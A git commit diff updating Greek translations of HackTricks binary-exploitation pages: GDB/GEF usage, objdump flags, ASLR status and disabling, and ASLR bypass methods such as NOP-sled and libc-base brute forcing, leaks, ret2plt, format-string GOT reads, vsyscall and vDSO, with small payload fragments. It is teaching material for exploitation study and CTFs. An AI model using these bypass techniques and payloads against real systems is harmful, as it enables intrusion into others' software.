Translated ['binary-exploitation/basic-binary-exploitation-methodology/t

This commit is contained in:
Translator 2024-04-17 05:56:44 +00:00
parent 6e034c551e
commit 3320ab5ba1
23 changed files with 698 additions and 568 deletions

Binary file not shown.

Before

Width:  |  Height:  |  Size: 43 KiB

After

Width:  |  Height:  |  Size: 1.6 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.6 KiB

After

Width:  |  Height:  |  Size: 5.5 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 5.5 KiB

After

Width:  |  Height:  |  Size: 33 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 33 KiB

After

Width:  |  Height:  |  Size: 32 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 32 KiB

After

Width:  |  Height:  |  Size: 92 KiB

View file

@ -2,7 +2,7 @@
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks στο AWS)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
@ -116,6 +116,9 @@ pattern search $rsp #Search the offset given the content of $rsp
shellcode search x86 #Search shellcodes
shellcode get 61 #Download shellcode number 61
#Dump memory to file
dump binary memory /tmp/dump.bin 0x200000000 0x20000c350
#Another way to get the offset of to the RIP
1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it
2- ef➤ i f
@ -134,7 +137,7 @@ gef➤ pattern search 0x6261617762616176
#### Ίδιες διευθύνσεις στο GDB
Κατά την εντοπισμό σφαλμάτων στο GDB θα έχει **ελαφρώς διαφορετικές διευθύνσεις από αυτές που χρησιμοποιούνται από το δυαδικό όταν εκτελείται.** Μπορείτε να κάνετε το GDB να έχει τις ίδιες διευθύνσεις κάνοντας:
Κατά την εκτέλεση αποσφαλμάτωσης στο GDB, **ο GDB θα έχει ελαφρώς διαφορετικές διευθύνσεις από αυτές που χρησιμοποιούνται από το δυαδικό όταν εκτελείται.** Μπορείτε να κάνετε το GDB να έχει τις ίδιες διευθύνσεις κάνοντας:
* `unset env LINES`
* `unset env COLUMNS`
@ -142,7 +145,7 @@ gef➤ pattern search 0x6261617762616176
* Εκμεταλλευτείτε το δυαδικό χρησιμοποιώντας την ίδια απόλυτη διαδρομή
* Τα `PWD` και `OLDPWD` πρέπει να είναι τα ίδια κατά τη χρήση του GDB και κατά την εκμετάλλευση του δυαδικού
#### Ανίχνευση συναρτήσεων που καλούνται με backtrace
#### Backtrace για εύρεση κλήσεων συναρτήσεων
Όταν έχετε ένα **δυαδικό που έχει συνδεθεί στατικά**, όλες οι συναρτήσεις θα ανήκουν στο δυαδικό (και όχι σε εξωτερικές βιβλιοθήκες). Σε αυτήν την περίπτωση θα είναι δύσκολο να **αναγνωρίσετε τη ροή που ακολουθεί το δυαδικό για παράδειγμα για να ζητήσει είσοδο από τον χρήστη**.\
Μπορείτε εύκολα να αναγνωρίσετε αυτήν τη ροή **τρέχοντας** το δυαδικό με το **gdb** μέχρι να σας ζητηθεί είσοδος. Στη συνέχεια, σταματήστε το με **CTRL+C** και χρησιμοποιήστε την εντολή **`bt`** (**backtrace**) για να δείτε τις κληθείσες συναρτήσεις:
@ -163,7 +166,7 @@ gef➤ bt
### Εύρεση μετατόπισης στοίβας
**Το Ghidra** είναι πολύ χρήσιμο για την εύρεση της **μετατόπισης** για ένα **buffer overflow χάρη στις πληροφορίες σχετικά με τη θέση των τοπικών μεταβλητών.**\
Για παράδειγμα, στο παρακάτω παράδειγμα, ένα buffer flow στο `local_bc` υποδηλώνει ότι χρειάζεστε μια μετατόπιση του `0xbc`. Επιπλέον, αν το `local_10` είναι ένα canary cookie, υποδηλώνει ότι για να το αντικαταστήσετε από το `local_bc` υπάρχει μια μετατόπιση του `0xac`.\
Για παράδειγμα, στο παρακάτω παράδειγμα, ένα buffer overflow στο `local_bc` υποδηλώνει ότι χρειάζεστε μια μετατόπιση του `0xbc`. Επιπλέον, αν το `local_10` είναι ένα canary cookie, υποδηλώνει ότι για να το αντικαταστήσετε από το `local_bc` υπάρχει μια μετατόπιση του `0xac`.\
_Να θυμάστε ότι το πρώτο 0x08 από όπου αποθηκεύεται το RIP ανήκει στο RBP._
![](<../../../.gitbook/assets/image (1058).png>)
@ -189,11 +192,12 @@ qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog
**-d** --> **Αποσυναρμολόγηση εκτελέσιμων** ενοτήτων (δείτε τα opcodes ενός μεταγλωττισμένου shellcode, βρείτε ROP Gadgets, βρείτε διεύθυνση συνάρτησης...)\
**-Mintel** --> **Σύνταξη Intel**\
**-t** --> **Πίνακας συμβόλων**\
**-t** --> Πίνακας **Συμβόλων**\
**-D** --> **Αποσυναρμολόγηση όλων** (διεύθυνση στατικής μεταβλητής)\
**-s -j .dtors** --> ενότητα dtors\
**-s -j .got** --> ενότητα got\
\-D -s -j .plt --> ενότητα plt **αποσυναρμολογημένη**\
**-TR** --> **Ανακατευθύνσεις**\
**ojdump -t --dynamic-relo ./exec | grep puts** --> Διεύθυνση του "puts" για τροποποίηση στο GOT\
**objdump -D ./exec | grep "VAR\_NAME"** --> Διεύθυνση στατικής μεταβλητής (αυτές αποθηκεύονται στην ενότητα DATA).
@ -226,20 +230,20 @@ qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog
```
./linux_server64 -Ppass
```
Στη συνέχεια, ρυθμίστε τον debugger: Debugger (linux remote) --> Επιλογές διεργασίας...:
Στη συνέχεια, ρυθμίστε τον εντοπιστή σφαλμάτων: Εντοπιστής (απομακρυσμένος linux) --> Επιλογές διεργασίας...:
![](<../../../.gitbook/assets/image (855).png>)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks για το AWS)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>

View file

@ -2,15 +2,15 @@
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks στο AWS)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>
@ -20,11 +20,11 @@
### **Έλεγχος Κατάστασης ASLR**
Για να **ελέγξετε** την κατάσταση του ASLR σε ένα σύστημα Linux, μπορείτε να διαβάσετε την τιμή από το αρχείο **`/proc/sys/kernel/randomize_va_space`**. Η τιμή που αποθηκεύεται σε αυτό το αρχείο καθορίζει τον τύπο ASLR που εφαρμόζεται:
Για να **ελέγξετε** την κατάσταση του ASLR σε ένα σύστημα Linux, μπορείτε να διαβάσετε την τιμή από το αρχείο **`/proc/sys/kernel/randomize_va_space`**. Η τιμή που αποθηκεύεται σε αυτό το αρχείο καθορίζει τον τύπο του ASLR που εφαρμόζεται:
* **0**: Χωρίς τυχαιοποίηση. Όλα είναι στατικά.
* **1**: Συντηρητική τυχαιοποίηση. Οι κοινόχρηστες βιβλιοθήκες, το stack, το mmap(), η σελίδα VDSO τυχαιοποιούνται.
* **2**: Πλήρης τυχαιοποίηση. Εκτός από τα στοιχεία που τυχαιοποιούνται από τη συντηρητική τυχαιοποίηση, η μνήμη που διαχειρίζεται μέσω της `brk()` τυχαιοποιείται.
* **2**: Πλήρης τυχαιοποίηση. Εκτός από τα στοιχεία που τυχαιοποιούνται από τη συντηρητική τυχαιοποίηση, η μνήμη που διαχειρίζεται μέσω του `brk()` τυχαιοποιείται.
Μπορείτε να ελέγξετε την κατάσταση του ASLR με την ακόλουθη εντολή:
```bash
@ -43,13 +43,13 @@ setarch `uname -m` -R ./bin args
```
### **Ενεργοποίηση του ASLR**
Για να **ενεργοποιήσετε** το ASLR, μπορείτε να γράψετε μια τιμή **2** στο αρχείο `/proc/sys/kernel/randomize_va_space`. Αυτό απαιτεί συνήθως δικαιώματα ριζού. Η ενεργοποίηση πλήρους τυχαίοποίησης μπορεί να γίνει με την ακόλουθη εντολή:
Για να **ενεργοποιήσετε** το ASLR, μπορείτε να γράψετε μια τιμή **2** στο αρχείο `/proc/sys/kernel/randomize_va_space`. Αυτό απαιτεί συνήθως δικαιώματα ρίζας. Η ενεργοποίηση πλήρους τυχαίοποίησης μπορεί να γίνει με την ακόλουθη εντολή:
```bash
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
```
### **Μόνιμη Διατήρηση Μετά την Επανεκκίνηση**
Οι αλλαγές που γίνονται με τις εντολές `echo` είναι προσωρινές και θα επαναφερθούν μετά από επανεκκίνηση. Για να κάνετε την αλλαγή μόνιμη, πρέπει να επεξεργαστείτε το αρχείο `/etc/sysctl.conf` και να προσθέσετε ή να τροποποιήσετε την παρακάτω γραμμή:
Οι αλλαγές που γίνονται με τις εντολές `echo` είναι προσωρινές και θα επαναφερθούν κατά την επανεκκίνηση. Για να κάνετε την αλλαγή μόνιμη, πρέπει να επεξεργαστείτε το αρχείο `/etc/sysctl.conf` και να προσθέσετε ή να τροποποιήσετε την παρακάτω γραμμή:
```tsconfig
kernel.randomize_va_space=2 # Enable ASLR
# or
@ -68,7 +68,7 @@ sudo sysctl -p
Το PaX διαιρεί τον χώρο διεύθυνσης της διεργασίας σε **3 ομάδες**:
* **Κώδικας και δεδομένα** (αρχικοποιημένα και μη αρχικοποιημένα): `.text`, `.data`, και `.bss` —> **16 bits** εντροπία στη μεταβλητή `delta_exec`. Αυτή η μεταβλητή αρχικοποιείται τυχαία με κάθε διεργασία και προστίθεται στις αρχικές διευθύνσεις.
* **Μνήμη** που εκχωρείται από την `mmap()` και **κοινές βιβλιοθήκες** —> **16 bits**, με την ονομασία `delta_mmap`.
* **Μνήμη** που εκχωρείται από την `mmap()` και **κοινές βιβλιοθήκες** —> **16 bits**, με το όνομα `delta_mmap`.
* **Η στοίβα** —> **24 bits**, αναφέρεται ως `delta_stack`. Ωστόσο, χρησιμοποιεί πραγματικά **11 bits** (από τον 10ο έως τον 20ο byte συμπεριλαμβανομένου), ευθυγραμμισμένα σε **16 bytes** —> Αυτό οδηγεί σε **524,288 πιθανές πραγματικές διευθύνσεις στοίβας**.
Τα προηγούμενα δεδομένα αφορούν συστήματα 32-bit και η μειωμένη τελική εντροπία καθιστά δυνατή την παράκαμψη του ASLR επαναλαμβάνοντας την εκτέλεση μέχρι η εκμετάλλευση να ολοκληρωθεί με επιτυχία.
@ -76,21 +76,21 @@ sudo sysctl -p
#### Ιδέες για βίαιη εξαναγκαστική επίθεση:
* Αν έχετε ένα αρκετά μεγάλο υπερχείλισμα για να φιλοξενήσετε ένα **μεγάλο NOP sled πριν το shellcode**, μπορείτε απλά να εξαναγκάσετε διευθύνσεις στη στοίβα μέχρι η ροή να **περάσει πάνω από κάποιο τμήμα του NOP sled**.
* Μια άλλη επιλογή γι' αυτό σε περίπτωση που το υπερχείλισμα δεν είναι τόσο μεγάλο και η εκμετάλλευση μπορεί να εκτελεστεί τοπικά είναι να **προστεθεί το NOP sled και το shellcode σε μεταβλητή περιβάλλοντος**.
* Μια άλλη επιλογή γι' αυτό στην περίπτωση που το υπερχείλισμα δεν είναι τόσο μεγάλο και η εκμετάλλευση μπορεί να εκτελεστεί τοπικά είναι να **προστεθεί το NOP sled και το shellcode σε μεταβλητή περιβάλλοντος**.
* Αν η εκμετάλλευση είναι τοπική, μπορείτε να δοκιμάσετε να εξαναγκάσετε τη βασική διεύθυνση της libc (χρήσιμο για συστήματα 32bit):
```python
for off in range(0xb7000000, 0xb8000000, 0x1000):
```
* Εάν επιτεθείτε σε ένα απομακρυσμένο διακομιστή, μπορείτε να προσπαθήσετε να **δοκιμάσετε με βία τη διεύθυνση της συνάρτησης `usleep` της `libc`**, περνώντας ως όρισμα τον αριθμό 10 (για παράδειγμα). Εάν σε κάποιο σημείο ο **διακομιστής καθυστερεί 10 δευτερόλεπτα περισσότερο για να ανταποκριθεί**, τότε βρήκατε τη διεύθυνση αυτής της συνάρτησης.
* Εάν επιτεθείτε σε ένα απομακρυσμένο διακομιστή, μπορείτε να δοκιμάσετε να **δοκιμάσετε με βία τη διεύθυνση της συνάρτησης `usleep` της `libc`**, περνώντας ως όρισμα τον αριθμό 10 (για παράδειγμα). Εάν σε κάποιο σημείο ο **διακομιστής καθυστερεί 10 δευτερόλεπτα περισσότερο για να ανταποκριθεί**, τότε βρήκατε τη διεύθυνση αυτής της συνάρτησης.
{% hint style="success" %}
Στα 64bit συστήματα η εντροπία είναι πολύ υψηλότερη και αυτό δεν θα έπρεπε να είναι δυνατό.
{% endhint %}
### Επίθεση brute-forcing στη στοίβα 64 bits
### Επίθεση brute-forcing στο stack 64 bits
Είναι δυνατό να καταλάβετε ένα μεγάλο μέρος της στοίβας με μεταβλητές περιβάλλοντος και στη συνέχεια να προσπαθήσετε να εκμεταλλευτείτε το δυαδικό αρχείο εκατοντάδες/χιλιάδες φορές τοπικά.\
Ο παρακάτω κώδικας δείχνει πώς είναι δυνατό να **επιλέξετε απλώς μια διεύθυνση στη στοίβα** και κάθε **λίγες εκατοντάδες εκτελέσεις** αυτή η διεύθυνση θα περιέχει τη **NOP εντολή**:
Είναι δυνατό να καταλάβετε ένα μεγάλο μέρος του stack με μεταβλητές περιβάλλοντος και στη συνέχεια να προσπαθήσετε να εκμεταλλευτείτε το δυαδικό αρχείο εκατοντάδες/χιλιάδες φορές τοπικά.\
Ο παρακάτω κώδικας δείχνει πώς είναι δυνατό να **επιλέξετε απλώς μια διεύθυνση στο stack** και κάθε **λίγες εκατοντάδες εκτελέσεις** αυτή η διεύθυνση θα περιέχει την **NOP εντολή**:
```c
//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h>
@ -164,20 +164,20 @@ pass
* **startstack**: Η διεύθυνση της αρχής του **stack**
* **start\_data** & **end\_data**: Διευθύνσεις πάνω και κάτω από όπου βρίσκεται το **BSS**
* **kstkesp** & **kstkeip**: Τρέχουσες διευθύνσεις **ESP** και **EIP**
* **arg\_start** & **arg\_end**: Διευθύνσεις πάνω και κάτω από όπου βρίσκονται οι **παράμετροι της γραμμής εντολής**
* **arg\_start** & **arg\_end**: Διευθύνσεις πάνω και κάτω από όπου βρίσκονται οι **παράμετροι της γραμμής εντολών**
* **env\_start** & **env\_end**: Διευθύνσεις πάνω και κάτω από όπου βρίσκονται οι **μεταβλητές περιβάλλοντος**
Επομένως, αν ο επιτιθέμενος βρίσκεται στον ίδιο υπολογιστή με το δυαδικό που εκμεταλλεύεται και αυτό το δυαδικό δεν περιμένει την υπερχείλιση από ωμές παραμέτρους, αλλά από μια διαφορετική **είσοδο που μπορεί να δημιουργηθεί μετά την ανάγνωση αυτού του αρχείου**. Είναι δυνατό για έναν επιτιθέμενο να **αποκτήσει μερικές διευθύνσεις από αυτό το αρχείο και να κατασκευάσει μετατοπίσεις από αυτές για την εκμετάλλευση**.
{% hint style="success" %}
Για περισσότερες πληροφορίες σχετικά με αυτό το αρχείο ελέγξτε το [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) αναζητώντας `/proc/pid/stat`
Για περισσότερες πληροφορίες σχετικά με αυτό το αρχείο ελέγξτε το [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) αναζητώντας το `/proc/pid/stat`
{% endhint %}
### Έχοντας μια διαρροή
* **Η πρόκληση είναι να δοθεί μια διαρροή**
Αν σας δίνεται μια διαρροή (εύκολες προκλήσεις CTF), μπορείτε να υπολογίσετε μετατοπίσεις από αυτήν (υποθέτοντας για παράδειγμα ότι γνωρίζετε την ακριβή έκδοση της βιβλιοθήκης libc που χρησιμοποιείται στο σύστημα που εκμεταλλεύεστε). Αυτή η εκμετάλλευση παράδειγματος εξάγεται από το [**παράδειγμα από εδώ**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (ελέγξτε αυτή τη σελίδα για περισσότερες λεπτομέρειες):
Αν σας δίνεται μια διαρροή (εύκολες προκλήσεις CTF), μπορείτε να υπολογίσετε μετατοπίσεις από αυτήν (υποθέτοντας για παράδειγμα ότι γνωρίζετε την ακριβή έκδοση της βιβλιοθήκης libc που χρησιμοποιείται στο σύστημα που εκμεταλλεύεστε). Αυτό το παράδειγμα εκμετάλλευσης εξάγεται από το [**παράδειγμα από εδώ**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (ελέγξτε αυτήν τη σελίδα για περισσότερες λεπτομέρειες):
```python
from pwn import *
@ -204,7 +204,7 @@ p.interactive()
```
* **ret2plt**
Εκμεταλλευόμενος ένα buffer overflow θα ήταν δυνατόν να εκμεταλλευτείτε ένα **ret2plt** για να εξαγάγετε μια διεύθυνση μιας συνάρτησης από την libc. Ελέγξτε:
Καταχρώντας ένα buffer overflow θα ήταν δυνατό να εκμεταλλευτείτε ένα **ret2plt** για να εξαγάγετε μια διεύθυνση μιας συνάρτησης από την libc. Ελέγξτε:
{% content-ref url="ret2plt.md" %}
[ret2plt.md](ret2plt.md)
@ -212,7 +212,7 @@ p.interactive()
* **Format Strings Arbitrary Read**
Όπως και στο ret2plt, εάν έχετε ένα αυθαίρετο διάβασμα μέσω μιας ευπάθειας format strings, είναι δυνατόν να εξάγετε τη διεύθυνση μιας **συνάρτησης της libc** από το GOT. Το ακόλουθο [**παράδειγμα είναι από εδώ**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got):
Όπως και στο ret2plt, αν έχετε ένα αυθαίρετο διάβασμα μέσω μιας ευπάθειας format strings είναι δυνατό να εξάγετε τη διεύθυνση μιας **συνάρτησης της libc** από το GOT. Το ακόλουθο [**παράδειγμα είναι από εδώ**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got):
```python
payload = p32(elf.got['puts']) # p64() if 64-bit
payload += b'|'
@ -223,7 +223,7 @@ payload += b'%3$s' # The third parameter points at the start of the
payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])
```
Μπορείτε να βρείτε περισσότερες πληροφορίες σχετικά με την ανάγνωση τυχαίων δεδομένων μέσω Format Strings στο:
Μπορείτε να βρείτε περισσότερες πληροφορίες σχετικά με την ανάγνωση τυχαίων δεδομένων με Format Strings στο:
{% content-ref url="../../format-strings/" %}
[format-strings](../../format-strings/)
@ -231,7 +231,7 @@ payload += p32(elf.symbols['main'])
### Ret2ret & Ret2pop
Προσπαθήστε να παρακάμψετε το ASLR καταχρώμενοι διευθύνσεις μέσα στο stack:
Προσπαθήστε να παρακάμψετε το ASLR καταχρώμενοι διευθύνσεις μέσα στη στοίβα:
{% content-ref url="ret2ret.md" %}
[ret2ret.md](ret2ret.md)
@ -239,12 +239,12 @@ payload += p32(elf.symbols['main'])
### vsyscall
Ο μηχανισμός **`vsyscall`** χρησιμεύει για τη βελτίωση της απόδοσης επιτρέποντας σε συγκεκριμένες κλήσεις συστήματος να εκτελούνται στον χώρο χρήστη, αν και ουσιαστικά ανήκουν στον πυρήνα. Το κρίσιμο πλεονέκτημα των **vsyscalls** βρίσκεται στις **σταθερές διευθύνσεις** τους, οι οποίες δεν υπόκεινται σε **ASLR** (Τυχαία Διάταξη Χώρου Διευθύνσεων). Αυτή η σταθερή φύση σημαίνει ότι οι επιτιθέμενοι δεν χρειάζεται να έχουν μια ευπάθεια διαρροής πληροφοριών για να καθορίσουν τις διευθύνσεις τους και να τις χρησιμοποιήσουν σε μια εκμετάλλευση.\
Ο μηχανισμός **`vsyscall`** χρησιμεύει για τη βελτίωση της απόδοσης επιτρέποντας σε συγκεκριμένες κλήσεις συστήματος να εκτελούνται στον χώρο χρήστη, αν και ουσιαστικά ανήκουν στον πυρήνα. Το κρίσιμο πλεονέκτημα των **vsyscalls** βρίσκεται στις **σταθερές διευθύνσεις** τους, οι οποίες δεν υπόκεινται σε **ASLR** (Τυχαία Διάταξη Χώρου Διεύθυνσης). Αυτή η σταθερή φύση σημαίνει ότι οι επιτιθέμενοι δεν χρειάζεται να έχουν μια ευπάθεια διαρροής πληροφοριών για να καθορίσουν τις διευθύνσεις τους και να τις χρησιμοποιήσουν σε μια εκμετάλλευση.\
Ωστόσο, δεν θα βρεθούν πολύ ενδιαφέροντα gadgets εδώ (αν και, για παράδειγμα, είναι δυνατόν να πάρετε ένα `ret;` ισοδύναμο)
(Το παρακάτω παράδειγμα και κώδικας είναι [**από αυτό το άρθρο**](https://guyinatuxedo.github.io/15-partial\_overwrite/hacklu15\_stackstuff/index.html#exploitation))
Για παράδειγμα, ένας επιτιθέμενος μπορεί να χρησιμοποιήσει τη διεύθυνση `0xffffffffff600800` μέσα σε μια εκμετάλλευση. Ενώ η προσπάθεια να μεταβείτε απευθείας σε μια εντολή `ret` μπορεί να οδηγήσει σε αστάθεια ή κολλήματα μετά την εκτέλεση μερικών gadgets, η μετάβαση στην αρχή μιας `syscall` που παρέχεται από την ενότητα **vsyscall** μπορεί να αποδειχθεί επιτυχής. Τοποθετώντας προσεκτικά ένα **ROP** gadget που οδηγεί την εκτέλεση σε αυτήν τη διεύθυνση **vsyscall**, ένας επιτιθέμενος μπορεί να επιτύχει την εκτέλεση κώδικα χωρίς την ανάγκη να παρακάμψει το **ASLR** για αυτό το τμήμα της εκμετάλλευσης.
Για παράδειγμα, ένας επιτιθέμενος μπορεί να χρησιμοποιήσει τη διεύθυνση `0xffffffffff600800` μέσα σε μια εκμετάλλευση. Ενώ η προσπάθεια να πηδήξετε απευθείας σε μια εντολή `ret` μπορεί να οδηγήσει σε αστάθεια ή κολλήματα μετά την εκτέλεση μερικών gadgets, το να πηδήξετε στην αρχή ενός `syscall` που παρέχεται από την ενότητα **vsyscall** μπορεί να αποδειχθεί επιτυχημένο. Τοποθετώντας προσεκτικά ένα **ROP** gadget που οδηγεί την εκτέλεση σε αυτήν τη διεύθυνση **vsyscall**, ένας επιτιθέμενος μπορεί να επιτύχει την εκτέλεση κώδικα χωρίς την ανάγκη να παρακάμψει το **ASLR** για αυτό το τμήμα της εκμετάλλευσης.
```
ef➤ vmmap
Start End Offset Perm Path
@ -285,6 +285,14 @@ gef➤ x/4i 0xffffffffff600800
0xffffffffff600809: ret
0xffffffffff60080a: int3
```
### vDSO
Σημειώστε λοιπόν πώς είναι δυνατόν να **παρακάμψετε το ASLR καταχρώμενοι το vdso** εάν το πυρήνας έχει μεταγλωττιστεί με το CONFIG\_COMPAT\_VDSO καθώς η διεύθυνση vdso δεν θα τυχαιοποιηθεί. Για περισσότερες πληροφορίες ελέγξτε:
{% content-ref url="../../rop-return-oriented-programing/ret2vdso.md" %}
[ret2vdso.md](../../rop-return-oriented-programing/ret2vdso.md)
{% endcontent-ref %}
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
@ -294,7 +302,7 @@ gef➤ x/4i 0xffffffffff600800
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του GitHub.
</details>

View file

@ -9,7 +9,7 @@
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
